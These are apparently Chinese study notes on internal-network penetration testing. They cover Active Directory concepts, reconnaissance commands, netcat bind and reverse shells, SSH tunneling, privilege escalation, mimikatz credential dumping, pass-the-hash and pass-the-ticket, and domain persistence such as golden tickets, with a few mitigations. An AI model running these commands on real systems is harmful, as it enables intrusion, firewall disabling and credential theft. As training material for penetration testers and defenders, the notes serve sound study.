1.内网渗透测试基础知识
1.1 工作组
工作组中的所有计算机是对等的
1.2 域
域是一个有安全边界的计算机集合。用户想访问域内的资源,必须以合法的身份登录域,而用户对域内资源拥有什么样的权限,还取决于用户在域内的身份。
域控制器是域内一台类似管理服务器的计算机。DC负责所有连入的计算机和用户验证工作。域内所有用来验证身份的账号和密码散列值都保存在DC.所有的权限身份认证都在DC上进行。
一个域管理员只能管理本域,不能访问或者管理其他域。如果两个域之间需要相互访问,需要建立信任关系
域中的计算机是使用DNS来定位域控制器,服务器以及其他计算机,所以域的名字就是DNS域的名字。
1.3 活动目录
活动目录是指域环境中提供目录服务的组件。
目录用于存储有关网络对象(例如用户,组,计算机,共享资源,打印机和联系人等)的信息。
活动目录相当于字典的索引,存储的是网络中所有资源的快捷方式
1.4 域控制器和活动目录的区别
如果内网中一台计算机安装了AD,它就变成了DC
1.5 域中计算机的分类
1.域控制器
2.成员服务器
安装了服务器操作系统并加入域,但没有安装活动目录的计算机。主要任务是提供网络资源(文件服务器,应用服务器等)
3.客户机
安装了其他其他操作系统的计算机,用户利用这些计算机和域中的账户就可以的登录域。这些计算机成为客户机
4.独立服务器
如果服务器既不加入域,也不安装活动目录,就称其位独立服务器。
1.6域内权限解读
1.域本地组
用于授予本域内资源的访问权限
2.全局组
单域用户访问多域资源,只能在创建该全局组的域中添加用户和全局组。
全局组和域本地组的关系,与域用户帐号和本地账号的关系类似。
3.通用组
通用组的成员来自域森林中任何域的用户账号,全局组和其他通用组,可以在该域森林中的任何域中指派权限,非常适合在域森林内的跨域访问。通用组的成员不是保存在各自的DC中,而是保存在全局编录中,任何变化都会导致全林复制。
域本地组来自于全林,作用于本域,全局组来自本域,作用于全林,通用组来自全林,作用于全林。
域本地组权限:
1.管理员组(Administrators)的成员可以不受限制地存取计算机/域地资源。
2.其他
几个重要地全局组,通用组地权限。
1.域管理员组(Domain Admins )的成员在所有加入域的服务器,域控制器和活动,目录中均默认拥有完整的管理员权限。这个组会被添加到自己所在域的Administrators组中,因此可以继承Administrators组的权限。同时默认会被添加到域中每台计算机的本地Administrators组。
2.企业系统管理员组是域森林根域中的一个组。该组在域森林中的每个域内都是Administrators组的成员。
3.域用户组(Domain Users)中所有的域成员。在默认情况下,任何由我们建立的用户账号都属于Domain User组。
2.内网信息收集
2.1 收集本机信息
1.查询网络配置信息
ipconfig /all
2.查询操作系统和版本信息
systeminfo | findstr /B /C:"OS NAME" /C:"OS Version"
(2)查询安全的软件及版本,路径等
wmic product get name,verison
3.查询本机服务信息
wmic service list brief
4.查询进程列表
tasklist
wmic process list brief
5.查看启动程序信息
wmic startup get command,caption
6.查看计划任务
schtasks /query /fo LIST /v
7.查看主机开机时间
net statistics workstation
8.查询用户列表
net user
(2)获取本地管理员(通常包含域用户)信息
net localgroup administrators
(3)查看在线用户
query user || qwinsta
9.列出或断开本地计算机与所连接的客户端之间的会话
net session
10.查询端口列表
netstat -ano
11.查看补丁信息
systeminfo
wmic qfe get Caption,Description,HotFixID,InstalledOn
12.查看主机共享列表
net share
wmic share get name,path,status
13.查询路由表以及所有可用接口的Arp缓存表
route print
arp -a
14.查询防火墙相关配置
(1)关闭防火墙
--2003 及以前
netsh firewall set opmode disable
--2003 以后
netsh advfirewall set allprofiles state off
(2)查看防火墙配置
netsh firewall show config
15.查看代理配置情况
reg query "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings"
2.2 查询当前权限
1.查看当前权限
whoami
除普通用户外,所有的机器都有一个机器用户(用户名是机器名加上“$”)。在本质上,机器的system用户对应的就是域里面的机器用户。所以,使用System权限可以运行域内的查询命令.(Administrators权限可以直接提升为System权限)
2.获取SID
whoami /all
3.查询指定用户的详细信息
net user /domain
2.3判断是否在域
ipconfig /all --看DNS后缀列表,使用nslookup反向解析,判断域控制器和DNS服务器是否在同一台机器上
systeminfo --查看“域”
net config workstation --看"工作域站"
net time /domain --判断主域,域服务器通常会作为时间时间服务器使用
2.4收集域内基础信息
1.查询域
net view /domain
2.查询域内所有计算机
net view /domain:XXX
3.查询域内计算机列表
net group /domain
4.查询所有域成员计算机列表
net group "domain computers" /domain
5.获取域密码信息
net accounts /domain
6.获取域信任信息
nltest /domain_trusts
2.5 查找域控
1.查看当前时间
net time /domain --通常时间服务器为主域控制器
2.查看域控制器组
net group "Domain Controllers" /domain
3.获取域控列表
nltest /DCLIST:XXX
2.6 查询域内用户和管理员信息
1.查询所有域用户列表
(1)向域控制器进行查询
net user /domain
(2) 获取域内用户的详细信息
wmic useraccount get /all
(3)查看存在的用户
dsquery user
(4)查询本地管理员组
net localgroup adminstrators
2.查询域管理员用户
net group "Domian admins" /domain
net group "Enterprise Admins" /domain
3.隐藏通信隧道技术
3.1隧道基础知识
网络层: IPV6隧道,ICMP隧道,GRE隧道
传输层: TCP隧道,UDP隧道,常规端口转发
应用层:SSH隧道,HTTP隧道,HTTPS隧道,DNS隧道
3.2 网络层隧道
IPV6隧道
通过IPV4隧道传送IPV6数据报文的技术。将IPV6报文整体封装到IPV4数据报文中。
3.3传输层隧道
1.nc
(1)正向shell
nc -lvp 4444 -e /bin/bash //LINUX
nc -lvp 4444 -e c:\windows\system32\cmd.exe //Windows
nc 192.168.1.11 4444
靶机监听本地4444端口,接收到请求重定向到shell
(2)反向shell
nc -e /bin/bash Lhost port //target
nc -lvvp port //hacker
3.4应用层隧道
1.本地转发
-C 压缩数据
-f 后台运行
-N 静默连接
-g 允许远程主机连接本地用于转发的端口
-L 本地端口转发
-R 远程端口转发
-D 动态转发(socks代理)
-P 指定SSH端口
ssh -CfNg LPORT:RHOST:RPORT //跳板机
root@192.168.1.11(跳板机) // hacker
2.远程转发
ssh -SfNg -R LPORT(攻击机端口):RHOST:RPORT //跳板机
root@LPORT //跳板机
远程端口转发是在远程主机上监听一个端口,将所有访问远程服务器指定端口的数据都会通过SSH隧道传输到本地的对应端口
3.动态转发
ssh -CfNg -D 7000 root@192.168.1.11(跳板机)
4.权限维持
1.windows权限
(1)user
(2)Adminstrator
(3)System 系统权限,可以对SAM等敏感文件进行读取
(4)TrustsedInstaller 最高权限可以修改系统文件
2.系统内核溢出漏洞提权分析
3.windows配置错误利用
(1)windows允许低权限用户以System权限运行安装文件
(2)可信任服务路径(包含空格且没有引号的路径)
系统在解析文件路径时,会以系统权限进行。
(3)自动安装配置文件(包含敏感信息)
4.组策略首选项提权分析
SYSVOL是活动目录中一个用来存储公共文件服务器副本的共享文件夹,在域中的所有域控制器之间进行复制。
可以在经过身份验证的域用户或者域信任用户具有读权限的活动目录的域范围内共享。
(1)获取组策略凭据
找到cpassword的xml文件(私钥已公布)
5.UAC提权
6.无凭证条件下的权限获取
(1)LLMNR(本地链路多播解析)欺骗
局域网中的DNS服务器不可用时,DNS客户端会使用LLMNR解析本地网段中的机器名称
(2)NetBIOS
一种网络协议,根据NetBIOS协议广播获得计算机名称,并解析为相应的IP地址
5.域内横向移动分析及防御
1.IPC
为了实现进程间通信而开放的命名管道
通过IPC$可以与目标机器建立连接
条件:
(1)开启139(NetBIOS),445(共享文件)端口
(2)开启默认共享
2.获取远程主机信息
(1)dir命令
(2)tasklist
3.windows系统散列值获取分析
(1) LM Hash(本质是DES)和NTLM HASH(MD4)
(2) 密码抓取
lsass.exe 进程用于实现Windows的安全策略。可以使用工具将散列值和明文密码从lsass.exe或SAM文件中导出
(3)mimikatz 使用
lsadump::sam
sekurlsa::logonpasswords (Wdigest关闭 导致无法抓取明文密码)
(4)防范
将具有Debug权限的本地管理员从administrators组中删除
关闭wdigest
安装kb2871997(仍需禁用默认的Administrators账号)
加入”Protected Users“全局安全组
4.哈希传递攻击
1.前提
用户登录计算机使用的大都是域账号,大量计算机在安装时会使用相同的本地管理员账号和密码。如果计算机的本地管理员账号和密码也是相同的,就可以使用hash传递登录内网中的其他计算机。
2.NTLM Hash传递
3.AES-256密钥进行传递
5.票据传递攻击
PTT(Pass The Ticket)
注:(1)dir务必使用主机名,使用IP地址,会导致错误。
(2)票据文件注入内存的默认有效时间为10小时。
(3)不需要提供mimikatz本地管理员权限
1.Psexec
通过命令行环境与目标机器进行连接
注:需要远程系统开启amdin$共享(默认开启)
使用ipc$连接目标系统后,不需要输入账号密码
使用psexec执行远程命令时,会在目标系统中创建一个psexec服务。命令执行后,psexec服务将自动删除。创建或删除会产生大量日志,可以在溯源的时候通过日志反推攻击流程。
使用psexec可以直接获得System权限的交互式shell
2.metasploit中的psexec模块
3.WMI的使用
wmic命令没有回显,需要使用ipc$和type命令来读取信息。
4.smbexecd的使用
smbexec可以通过文件共享(admin$,c$,ipc$,d$)在远程系统中执行命令。
6.域控制器安全
1. 使用卷影拷贝服务提取ntds.dit
在活动目录中所有的数据都存在ntds.dit中。其是一个二进制文件,包含用户名,散列值,组,GPP,OU等与活动目录相关的信息。和SAM文件一样,是被windows操作系统锁定的。
可以利用卷影拷贝服务可以实现这些操作相当于快照,只要用于备份和恢复
2.使用dcsync获取域散列值
mimakatz的dcsync可以利用卷影拷贝服务直接提取ntds.dit文件并检索域散列值。
3.Kerberos域用户提权漏洞分析与防范
漏洞产生原因:用户在向Kerberos密钥分发中心(KDC)申请TGT时,可以伪造自己的kerberos票据。如果票据声明自己有域管理员权限,而KDC在处理该票据时未验证票据的签名。那么,返给用户的TGT就使普通域用户拥有了域管理员权限。该用户可以将TGT发送到KDC,KDC的TGS在验证TGT后,将服务Service Ticket发送给该用户,而用户拥有该服务的权限,从而使攻击者可以访问域内的资源。
7.跨域攻击分析
1.哈希传递攻击
2.票据传递攻击
3.利用信任关系进行跨域攻击
8.域控制器持久化分析
1.DSRM域后门
DSRM(Directory Services Restore Mode,目录服务恢复模式) 是Windows域环境中域控制器的安全模式启动选项。可以允许管理员在域环境中出现故障或崩溃时还原,修复,重建活动目录数据库,是域环境的运行恢复正常。可以使用KB961320对指定域账号的密码对DSRM的密码进行同步。就可以利用DSRM账号作为一个域控制器管理员,控制域控。
2.SSP维持域控权限
SSP就是一个DLL文件,主要用来实现Windows操作系统的身份认证功能。
系统启动时,SSP将被加载到lsass.exe进程中。加入攻击者对LSA进行了扩展,自定义了恶意DLL文件,注入到
lsass.exe中,就可以获取其中的明文密码。
3.SID History域后门
SID History的作用是在域迁移过程中保持域用户的访问权限,是迁移后的用户保持原有的权限,能够访问其原来可以访问的资源。如果获得了域管理员权限,就可以将管理员的SID添加到恶意用户test的SID History属性中。
4.黄金票据
krbtgt是KDC服务使用的账号,属于Domian Admins组,每个账号的凭据都是由krbtgt生成的,如果拿到了他的NTLM HASH 或者 AES-256,就可以伪造域内任意用户身份。
使用黄金票据伪造的用户可以是任意用户。因为只要TGT被kbrtgt账号和密码正确的加密,那么任意KDC使用krbtgt解密后TGT中的所有信息都是可信的。
5.白银票据
伪造的是TGS,依赖于服务账号的密码散列值。